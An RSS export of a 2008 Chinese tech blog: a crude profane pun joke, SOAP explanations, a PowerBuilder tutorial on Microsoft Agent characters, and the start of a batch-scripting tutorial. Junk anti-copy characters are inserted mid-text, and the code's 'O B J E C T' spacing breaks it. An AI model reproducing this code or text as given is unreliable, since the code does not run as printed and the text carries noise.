﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-执着的笨蛋-随笔分类-other</title><link>http://www.blogjava.net/lcs/category/29911.html</link><description>黑暗的SH！灰暗的人生！</description><language>zh-cn</language><lastBuildDate>Wed, 07 May 2008 20:14:24 GMT</lastBuildDate><pubDate>Wed, 07 May 2008 20:14:24 GMT</pubDate><ttl>60</ttl><item><title>不行了，笑死我了！</title><link>http://www.blogjava.net/lcs/archive/2008/05/07/198934.html</link><dc:creator>lk</dc:creator><author>lk</author><pubDate>Wed, 07 May 2008 05:05:00 GMT</pubDate><guid>http://www.blogjava.net/lcs/archive/2008/05/07/198934.html</guid><wfw:comment>http://www.blogjava.net/lcs/comments/198934.html</wfw:comment><comments>http://www.blogjava.net/lcs/archive/2008/05/07/198934.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/lcs/comments/commentRss/198934.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/lcs/services/trackbacks/198934.html</trackback:ping><description><![CDATA[<strong>太阳与草的对话！</strong><br />
<br />
<br />
太阳给草打电话<br />
太阳：喂，草你吗？我日。<br />
草：我草，你谁啊？！<br />
太阳：我日啊。<br />
草：我草，你到底是谁啊！<br />
太阳：我日啊，你草吧！<br />
草：TMD，你到底是谁啊，我草！<br />
太阳：我日，我日啊！<br />
草：我草！<br />
这时，太阳的妈妈接过电话：我日他吗，你是草吧，草你吗呐？
<img src ="http://www.blogjava.net/lcs/aggbug/198934.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/lcs/" target="_blank">lk</a> 2008-05-07 13:05 <a href="http://www.blogjava.net/lcs/archive/2008/05/07/198934.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么是SOAP</title><link>http://www.blogjava.net/lcs/archive/2008/04/24/195607.html</link><dc:creator>lk</dc:creator><author>lk</author><pubDate>Thu, 24 Apr 2008 07:49:00 GMT</pubDate><guid>http://www.blogjava.net/lcs/archive/2008/04/24/195607.html</guid><wfw:comment>http://www.blogjava.net/lcs/comments/195607.html</wfw:comment><comments>http://www.blogjava.net/lcs/archive/2008/04/24/195607.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/lcs/comments/commentRss/195607.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/lcs/services/trackbacks/195607.html</trackback:ping><description><![CDATA[SOAP（Simple Object Access Protocol ）简单对象访问协议是在分散或分布式的环境中交换信息的简单的协议，是一个基于XML的协议。<br />
<br />
它包括四个部分：<br />
SOAP封装(envelop)，封装定义了一个描述消息中的内容是什么，是谁发送的，谁应当接受并处理它以及如何处理它们的框架；<br />
SOAP编码规则（encoding rules），用于表示应用程序需要使用的数据类型的实例; <br />
SOAP RPC表示(RPC representation)，表示远程过程调用和应答的协定;<br />
SOAP绑定（binding），使用底层协议交换信息。 <br />
<br />
　　虽然这四个部分都作为SOAP的一部分，作为一个整体定义的，但他们在功能上是相交的、彼此独立的。特别的，信封和编码规则是被定义在不同的XML命名空间(namespace)中，这样使得定义更加简单。 <br />
<br />
<br />
========另一个解释==========<br />
简单对象访问协议（SOAP）是一种轻量的、简单的、基于XML的协议，它被设计成在WEB上交换结构化的和固化的信息。SOAP可以和现存的许多因特网协议和格式结合使用，包括超文本传输协议（HTTP），简单邮件传输协议（SMTP），多用途网际邮件扩充协议（MIME）。它还支持从消息 系统到远程过程调用（RPC）等大量的应用程序。&nbsp;&nbsp;&nbsp;</clk><br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;SOAP &nbsp; 包括三个部分：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
SOAP &nbsp; 封装：它定义了一个框架，该框架描述了消息中的内容是什么，谁应当处理它以及它是可选的还是必须的。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
SOAP &nbsp; 编码规则：它定义了一种序列化的机制，用于交换应用程序所定义的数据类型的实例。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
SOAP &nbsp; RPC &nbsp; 表示：它定义了用于表示远程过程调用和应答的协定。<br />
<br />
SOAP &nbsp; 消息基本上是从发送端到接收端的单向传输，但它们常常结合起来执行类似于请求/应答的模式。所有的SOAP消息都使用 &nbsp; XML &nbsp; 编码。一条 &nbsp; SOAP &nbsp; 消息就是一个包含有一个必需的 &nbsp; SOAP &nbsp; 的封装包，一个可选的 &nbsp; SOAP &nbsp; 标头和一个必需的 &nbsp; SOAP &nbsp; 体块的 &nbsp; XML &nbsp; 文档。 &nbsp; <br />
&nbsp; &nbsp; <br />
<clk>&nbsp; 　　把 &nbsp; SOAP &nbsp; 绑定到 &nbsp; HTTP &nbsp; <nobr oncontextmenu="return false;" onmousemove="kwM(12);" id="clickeyekey12" onmouseover="kwE(event,12, this);" style="background: url(http://control.clickeye.com.cn/images/line5.gif) repeat-x 50% bottom; padding-bottom: 2px; color: #6600ff" onclick="return kwC(event,12)" onmouseout="kwL(event,this)" target="_blank">提供</nobr>了同时利用 &nbsp; SOAP &nbsp; 的样式和分散的灵活性的特点以及 &nbsp; HTTP &nbsp; 的丰富的特征库的优点。在 &nbsp; HTTP &nbsp; 上传送 &nbsp; SOAP &nbsp; 并不是说 &nbsp; SOAP &nbsp; 会覆盖现有的 &nbsp; HTTP &nbsp; 语义，而是 &nbsp; HTTP &nbsp; 上的 &nbsp; SOAP &nbsp; 语义会自然的映射到 &nbsp; HTTP &nbsp; 语义。在使用 &nbsp; HTTP &nbsp; 作为协议绑定的<nobr oncontextmenu="return false;" onmousemove="kwM(5);" id="clickeyekey5" onmouseover="kwE(event,5, this);" style="background: url(http://control.clickeye.com.cn/images/line5.gif) repeat-x 50% bottom; padding-bottom: 2px; color: #6600ff" onclick="return kwC(event,5)" onmouseout="kwL(event,this)" target="_blank">场合</nobr>中， &nbsp; RPC &nbsp; 请求映射到 &nbsp; HTTP &nbsp; 请求上，而 &nbsp; RPC &nbsp; 应答映射到 &nbsp; HTTP &nbsp; 应答。然而，在 &nbsp; RPC &nbsp; 上使用 &nbsp; SOAP &nbsp; 并不仅限于 &nbsp; HTTP &nbsp; 协议绑定。&nbsp;&nbsp;&nbsp;&nbsp; </clk><br />
<img src ="http://www.blogjava.net/lcs/aggbug/195607.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/lcs/" target="_blank">lk</a> 2008-04-24 15:49 <a href="http://www.blogjava.net/lcs/archive/2008/04/24/195607.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Agent插件浅析[转]</title><link>http://www.blogjava.net/lcs/archive/2008/03/12/185584.html</link><dc:creator>lk</dc:creator><author>lk</author><pubDate>Wed, 12 Mar 2008 02:23:00 GMT</pubDate><guid>http://www.blogjava.net/lcs/archive/2008/03/12/185584.html</guid><wfw:comment>http://www.blogjava.net/lcs/comments/185584.html</wfw:comment><comments>http://www.blogjava.net/lcs/archive/2008/03/12/185584.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/lcs/comments/commentRss/185584.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/lcs/services/trackbacks/185584.html</trackback:ping><description><![CDATA[<font style="background-color: #dee0fe">该文被n多网站转载，没找到原始出处！<br />
<br />
使用过office xp、金山毒霸和瑞星杀毒软件的朋友，一定会对程序中的人性化的动画角色留下深刻印象，这完全归功于微软推出的Agent（&#8220;代理&#8221;）技术，Agent采用COM技术，使用ActiveX控件方式，支持现在流行的各种开发工具，不仅可以实现文本的朗读，而且可识别用户的语音命令，在应用程序和HTML文件中得到广泛的使用。 <br />
下面我们以PowerBuilder 8.0为开发工具来编制一个小实用程序,一步步说明其实现方法: <br />
第一步从Internet网上下载Agent插件,并安装在计算机上,这是开发的前期准备工作: <br />
这些插件来源于微软公司的相关网站,下载的网址为:http://www.microsoft.com/msagent/downloads/user.asp,连接使用该网页: <br />
1、首先单击&#8220;Download the Microsoft Agent core componts(395kbs exe)&#8221;下载并安装Agent的核心组件，其文件名为&#8220;Msagent.exe"。 <br />
2、其次单击（先选择"Simplified Chinese (127kb exe)&#8221;）下载并安装语言组件，其文件名为&#8220;AgtX0804.exe"。 <br />
3、其次单击（先选择"Lernout &amp; Hauspie TruVoice TTS engine - American English(1Mb exe)&#8221;）下载并安装TTS引擎，其文件名为&#8220;tv_enua.exe",要实现语音朗读，必须安装，当前版本支持英语。 <br />
4、再其次单击（先选择"Doadload the Microsoft Speech Recognition Engine(6Mb exe)&#8221;）下载并安装语音识别引擎，其文件名为&#8220;Actcnc.exe",要实现语音命令识别，必须安装，当前版本支持英语。 <br />
5、最后单击&#8220;Download selected character"下载安装要用到的动画角色文件，在这里我们下载微软公司网站所提供的动画角色文件，主要包括Genie(妖怪、鬼）、Robby（机器人）、Merlin、Peedy(睡衣）共四种动画角色，专无管教供7^@供|Q{9iL&amp;G育它们不但有丰富的行为动作，而且具有语言功能，其对应的文件名分别为Genie.acs、Robby.acs、Merlin.acs、Peedy.acs。这些Agent角色的常用动画动作，通常用含有相同意义的英文单词字符来标识，如下表所示，以下所述编程实例即演示它们分别所产生的动作效果。 <br />
常量&nbsp;&nbsp; 相关动作 <br />
Acknowledge&nbsp; 显示承认、答谢的动作 <br />
Alert&nbsp;&nbsp; 显示警告的动作 <br />
Announce&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示宣布、<br />
?gZ网Fj~r无Wk垠@j{<br />
通告的工作 <br />
Blink&nbsp;&nbsp; 显示眨眼的动作 <br />
Decline&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示摇头拒绝的动作 <br />
DoMagic1、DoMagic2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示指挥演奏的动作 <br />
Confused&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示迷惑的动作 <br />
Congratulate&nbsp; 显示祝贺的动作 <br />
DontRecognize&nbsp; 显示无法识别的动作 <br />
Explain&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示解释的动作 <br />
GesttureDown&nbsp; 显示向下方向的手势动作 <br />
GesttureLeft&nbsp; 显示向左方向的手势动作 <br />
GesttureRight&nbsp; 显示向右方向的手势动作 <br />
GesttureUp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示向上方向的手势动作 <br />
GetAttention&nbsp; 显示立正的动作 <br />
GetAttentionContinued&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示继续立正的动作 <br />
GetAttentionReturn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示继续立正的动作 <br />
Greet&nbsp;&nbsp; 显示问候的动作 <br />
Hearing_1&nbsp;&nbsp; <br />
Hearing_2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示左右聆听的动作 <br />
Hearing_3 <br />
Hide&nbsp;&nbsp; 隐藏动画角色 <br />
Idle1_1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示舒展的动作 <br />
Idle1_2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示向左倾的动作 <br />
Idle1_3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示向右倾的动作 <br />
Idle1_4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示向后倾的动作 <br />
Idle1_5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示向前倾的动作 <br />
Idle2_1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示带耳机听音乐的动作 <br />
Idle2_2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示吃饼干的动作 <br />
Idle3_1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示带耳机听音乐的动作 <br />
Idle3_2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示瞌睡的动作 <br />
Idle3_3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示带耳机听音乐的动作 <br />
LookDown&nbsp; 显示向下查看的动作 <br />
LookDownBlink&nbsp; 显示向下眨眼的动作 <br />
LookDownLeft&nbsp; 显示向左下方查看的动作 <br />
LookDownLeftBlink 显示向左下方眨眼的动作 <br />
LookDownLeftReturn 显示回返向左下方查看的动作 <br />
LookDownRight&nbsp; 显示向右下方查看的动作 <br />
LookDownRightBlink 显示向右下方眨眼的动作 <br />
LookDownRightReturn 显示回返向右下方查看的动作 <br />
LookDownReturn 显示回返向下方查看的动作 <br />
LookLeft&nbsp; 显示向左方查看的动作 <br />
LookLeftBlink&nbsp; 显示向左方眨眼的动作 <br />
LookLeftReturn 显示回返向左方查看的动作 <br />
LookRight&nbsp; 显示向右方查看的动作 <br />
LookRightBlink 显示向右方眨眼的动作 <br />
LookRightReturn 显示回返向右方查看的动作 <br />
LookUp&nbsp;&nbsp; 显示向上查看的动作 <br />
LookUpBlink&nbsp; 显示向上眨眼的动作 <br />
LookUpLeft&nbsp; 显示向左上方查看的动作 <br />
LookUpLeftBlink 显示向左上方眨眼的动作 <br />
LookUpLeftReturn 显示回返向左上方查看的动作 <br />
LookUpRight&nbsp; 显示向右上方查看的动作 <br />
LookUpRightBlink 显示向右上方眨眼的动作 <br />
LookUpRightReturn 显示回返向右上方查看的动作 <br />
LookUpReturn&nbsp; 显示回返向上方查看的动作 <br />
MoveDown&nbsp; 显示向下移动的动作 <br />
MoveLeft&nbsp; 显示向左移动的动作 <br />
MoveRight&nbsp; 显示向右移动的动作 <br />
MoveUp&nbsp;&nbsp; 显示向上移动的动作 <br />
Pleaseed&nbsp; 显示愉快的动作 <br />
Process&nbsp; 显示处理工作的动作 <br />
Processing&nbsp; 显示正在处理工作的动作 <br />
Read&nbsp;&nbsp; 显示阅读的动作 <br />
Readcontinued&nbsp; 显示继续阅读的动作 <br />
Reading&nbsp; 显示正在阅读的动作 <br />
ReadReturn&nbsp; 显示停止阅读的动作<br />
Sad&nbsp;&nbsp; 显示悲伤的动作 <br />
Search&nbsp;&nbsp; 显示查找的动作 <br />
Searching&nbsp; 显示正在查找的动作 <br />
Show&nbsp;&nbsp; 显示动画角色 <br />
StartListening 显示开始聆听的动作 <br />
StopListening&nbsp; 显示停止聆听的动作 <br />
Suggest&nbsp; 显示建议的动作 <br />
Surprised&nbsp; 显示惊讶的表情 <br />
Think&nbsp;&nbsp; 显示思考的表情 <br />
Thinking&nbsp; 显示正在思考的表情 <br />
Uncertain&nbsp; 显示不确定的动作 <br />
Wave&nbsp;&nbsp; 显示致意的动作 <br />
Write&nbsp;&nbsp; 显示写的动作 <br />
Writecontinued 显示继续写的动作 <br />
Writing&nbsp; 显示正在写的动作 <br />
WritReturn&nbsp; 显示停止写的动作 <br />
当然，我们也可以从http://www.microsoft.com/msagent/downloads/developer.asp网页单击&#8220;Download the <br />
Microsoft Agent Character Editor(1Mb exe)&#8221;和&#8220;Download the Microsoft Agent Linguistic Information <br />
Sound&nbsp; Editing Tool(6.2Mb exe)&#8221;下载制作工具，亲自制作自己所钟爱的动画角色形象。 <br />
第二步设计应用程序 <br />
&nbsp;&nbsp;&nbsp; 在PowerBuilder中提供了OLE控件，以便PowerBuilder应用程序能够使用其它开发工具编写的COM组件和ActiveX控件 <br />
在使用相关的COM组件和ActiveX控件先，须注册相关的COM组件和ActiveX控件,在PowerBuilder注册控件，可以在PowerBulider <br />
开发环境中，插入OLE控件时，选择Regisiter New进行注册。 <br />
&nbsp;&nbsp;&nbsp; Agent控件的主要属性如下表： <br />
属性&nbsp;&nbsp;&nbsp; 用途 <br />
Charactors&nbsp;&nbsp;&nbsp; 用于设置与控件相关联的动画角色文件 <br />
Connected&nbsp;&nbsp; 用于判别控件是否与Agent服务器相连接 <br />
LanguageID&nbsp;&nbsp; 用于设置Agent所使用的语言，目前仅可设置为十六进制的&#8220;409&#8221;,即&#8220;&amp;H409&#8221; <br />
&nbsp;&nbsp;&nbsp; Agent控件的主要方法如下表： <br />
方法&nbsp;&nbsp;&nbsp; 用途 <br />
Load&nbsp;&nbsp;&nbsp; 用于初始化Agent控件，并加载动画角色数据文件 <br />
UnLoad&nbsp;&nbsp;&nbsp; 用于卸载动画角色数据文件 <br />
Show&nbsp;&nbsp;&nbsp; 用于显示的Agent动画角色，并可通过参数控制动画角色的显示速度 <br />
Hide&nbsp;&nbsp;&nbsp; 用于隐藏的Agent动画角色，并可通过参数控制动画角色的隐藏速度 <br />
StopAll&nbsp;&nbsp; 用于停止动画角色的所有动作 <br />
Stop&nbsp;&nbsp;&nbsp; 用于停止动画角色的当前动作 <br />
MoveTo&nbsp;&nbsp;&nbsp; 用于移动动画角色，可通过参数来设置移动的坐标和移动的速度 <br />
Interrupt&nbsp;&nbsp; 用于中断动画角色的动画，在执行一些有持续性的动画动作时，如不 <br />
&nbsp;&nbsp;&nbsp; 中断该动作即执行下一个动作，会产生异常现象 <br />
Wait&nbsp;&nbsp;&nbsp; 用于在多个动画角色间实现相互之间的动作协调 <br />
Play&nbsp;&nbsp;&nbsp; 用于执行指定的动画动作，可通过参数来设置动画类型 <br />
Speak&nbsp;&nbsp;&nbsp; 用于通过语音合成引擎，实现英语的语音合成输出功能，即只需要输入 <br />
&nbsp;&nbsp;&nbsp; 英文字符串，Agent即可通过声音输出设备&#8220;说话&#8221; <br />
&nbsp;&nbsp;&nbsp; Agent控件的主要事件如下表 <br />
事件&nbsp;&nbsp;&nbsp; 用途 <br />
Show&nbsp;&nbsp;&nbsp; 在Agent动画角色显示时触发，可利用该事件将程序的主界面隐藏 <br />
Hide&nbsp;&nbsp;&nbsp; 在Agent动画角色隐藏时触发，可利用该事件将程序的主界面重新显示 <br />
在PowerBuilder中实现的步骤如下 <br />
1、新建myexample.pbw的工作区； <br />
2、新建myexample.pbt的应用目标，PowerBuilder会自动建立一个pbl库文件以便存放相关的PowerBuilder对象，并建立一个myexample <br />
应用程序对象； <br />
3、新建窗口对象w_example,并在其上放置控件如下表： <br />
控件&nbsp;&nbsp;&nbsp; 控件名称 <br />
listbox&nbsp;&nbsp; lb_1 <br />
commandbutton&nbsp;&nbsp; cb_1 <br />
commandbutton&nbsp;&nbsp; cb_2 <br />
ole control&nbsp;&nbsp; ole_1(并插入对应的Agent ActiveX控件) <br />
4、新建菜单对象m_file,并添加相关菜单项如下表： <br />
菜单名&nbsp;&nbsp;&nbsp; 菜单文本&nbsp; 菜单脚本 <br />
m_file&nbsp;&nbsp;&nbsp; 文件(&amp;F)&nbsp;&nbsp;&nbsp; <br />
&nbsp;m_fileopen&nbsp; 打开(&amp;O)&nbsp; parentwindow.triggerevent("ue_fileopen") <br />
&nbsp;m_bar1&nbsp;&nbsp; - <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m_fileexit&nbsp; 退出(&amp;E)&nbsp; parentwindow.triggerevent("ue_fileexit") <br />
5、将窗口对象w_example的menuid属性设置为m_file <br />
6、定义窗口w_example的实例变量如下： <br />
privite: <br />
boolean ib_flag <br />
string is_animationname <br />
7、编写窗口w_example相关事件脚本： <br />
open事件脚本如下： <br />
long result,ll <br />
if fileexists(GetCurrentDirectory ( )+"\peedy.acs")=false then <br />
&nbsp;&nbsp; result=messagebox("提示&#8220;，"在程序当前目录下没有动画角色文件"，stop!) <br />
&nbsp;&nbsp; ib_flag=false <br />
&nbsp;&nbsp; close(this) <br />
else <br />
&nbsp;&nbsp; ib_flag=true <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters.load("CharacterID",GetCurrentDirectory ( )+"\peedy.acs") <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters("CharacterID").languageID=1033 <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters("CharacterID").moveto(20,20) <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters("CharacterID").show() <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters("CharacterID").play("Wave") <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters("CharacterID").speak("Hello,Welcome to use The Character Animation Previewer Programm!") <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters("CharacterID").play("Reading") <br />
&nbsp;&nbsp; lb_1.reset() <br />
&nbsp;&nbsp; for ll=1 to upperbound(ole_1. O B J E C T.characters("CharacterID").animationnames) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lb_1.additem(ole_1. O B J E C T.characters("CharacterID").animationnames[ll]) <br />
&nbsp;&nbsp; next <br />
&nbsp;&nbsp; lb_1.selectitem(1) <br />
close事件脚本如下： <br />
if ib_flag=true then <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters("CharacterID").hide() <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters.unload("CharacterID") <br />
end if <br />
自定义事件ue_fileopen的脚本如下： <br />
string docname, named <br />
integer value <br />
value = GetFileOpenName("选择动画角色文件",docname, named, "acs", "动画角色文件(*.acs),*.acs" ) <br />
IF value = 1 THEN&nbsp; <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters.unload("CharacterID") <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters.load("CharacterID",docname) <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters("CharacterID").languageID=1033 <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters("CharacterID").moveto(20,20) <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters("CharacterID").show() <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters("CharacterID").speak("Hello!") <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters("CharacterID").play("congratulate") <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters("CharacterID").play("Wave") <br />
&nbsp;&nbsp; cb_1.enabled=false&nbsp;&nbsp; <br />
&nbsp;&nbsp; lb_1.reset() <br />
&nbsp;&nbsp; for ll=1 to upperbound(ole_1. O B J E C T.characters("CharacterID").animationnames) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lb_1.additem(ole_1. O B J E C T.characters("CharacterID").animationnames[ll]) <br />
&nbsp;&nbsp; next <br />
&nbsp;&nbsp; lb_1.selectitem(1) <br />
&nbsp;&nbsp; ole_1. O B J E C T.characters("CharacterID").moveto(0,0) <br />
&nbsp;&nbsp; lb_1.setfocus() <br />
end if <br />
自定义事件ue_fileexit的脚本如下： <br />
close(this) <br />
lb_1的clicked事件脚本如下： <br />
cb_1.enabled=true <br />
lb_1的doubleclicked事件脚本如下： <br />
cb_1.triggerevent("clicked") <br />
lb_1的getfocus事件如下： <br />
cb_1.default=true <br />
cb_1的clicked事件脚本如下： <br />
ole_1. O B J E C T.characters("CharacterID").stop <br />
this.title="演示动画角色动作："+lb_1.SelectedItem ( ) <br />
ole_1. O B J E C T.characters("CharacterID").play(lb_1.selecteditem()) <br />
cb_2的clicked事件脚本如下： <br />
ole_1. O B J E C T.characters("CharacterID").stop() <br />
8、编写application对象open事件脚本如下： <br />
open(w_example)</font> 
<img src ="http://www.blogjava.net/lcs/aggbug/185584.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/lcs/" target="_blank">lk</a> 2008-03-12 10:23 <a href="http://www.blogjava.net/lcs/archive/2008/03/12/185584.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>十分经典的批处理教程</title><link>http://www.blogjava.net/lcs/archive/2008/03/06/184141.html</link><dc:creator>lk</dc:creator><author>lk</author><pubDate>Thu, 06 Mar 2008 01:43:00 GMT</pubDate><guid>http://www.blogjava.net/lcs/archive/2008/03/06/184141.html</guid><wfw:comment>http://www.blogjava.net/lcs/comments/184141.html</wfw:comment><comments>http://www.blogjava.net/lcs/archive/2008/03/06/184141.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/lcs/comments/commentRss/184141.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/lcs/services/trackbacks/184141.html</trackback:ping><description><![CDATA[原文：http://www.5dmail.net/html/2005-10-17/20051017181702.htm<br />
<br />
这是一篇技术教程，真心诚意会用很简单的文字表达清楚自己的意思，只要你识字就能看懂，就能学到知识。写这篇教程的目的，是让每一个看过这些文字的朋友记住一句话：如果爱可以让事情变的更简单，那么就让它简单吧！看这篇教程的方法，就是慢！慢慢的，如同品一个女人、一杯茗茶，你会发现很多以前就在眼前的东西突然变的很遥远，而有些很遥远的东西却又突然回到了眼前。.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 先概述一下批处理是个什么东东。批处理的定义，至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟，当然就更不用说了；但我想总结出一个"比较合适的"，而且我也相信自己可以把它解释的很清楚，让更多的菜鸟都知道这是个什么东东，你用这个东东可以干什么事情。或许你会因为这篇文章而"无条件爱上批处理"，那么我的目的就达到了----我就是要让你爱上它，我就这么拽，你能怎么着？？真的，爱有时候就这么拽，就是这么没理由，就是这么不要脸！真的！<br />
按照我的理解，批处理的本质，是一堆DOS命令按一定顺序排列而形成的集合。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OK,never claver and get to business（闲话少说言归正传）。批处理，也称为批处理脚本，英文译为BATCH，批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式，只要遵守以下这条就ok了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是DOS。批处理有一个很鲜明的特点：使用方便、灵活，功能强大，自动化程度高。我不想让自己写的教程枯燥无味，因为牵缠到代码（批处理的内容算是代码吧？）的问题本来就是枯燥的，很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力，感受它那古灵精怪的性格，不知不觉中爱上批处理（晕，怎么又是爱？到底批处理和爱有什么关系？答案：没有！）。再说句"闲话"：要学好批处理，DOS基础一定要牢！当然脑子灵活也是很重要的一方面。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 例一、先给出一个最easy的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为name.bat然后执行（以后文中只给出代码，保存和执行方式类似）：<br />
ping sz.tencent.com &gt; a.txt<br />
ping sz1.tencent.com &gt;&gt; a.txt<br />
ping sz2.tencent.com &gt;&gt; a.txt<br />
ping sz3.tencent.com &gt;&gt; a.txt<br />
ping sz4.tencent.com &gt;&gt; a.txt<br />
ping sz5.tencent.com &gt;&gt; a.txt<br />
ping sz6.tencent.com &gt;&gt; a.txt<br />
ping sz7.tencent.com &gt;&gt; a.txt<br />
exit<br />
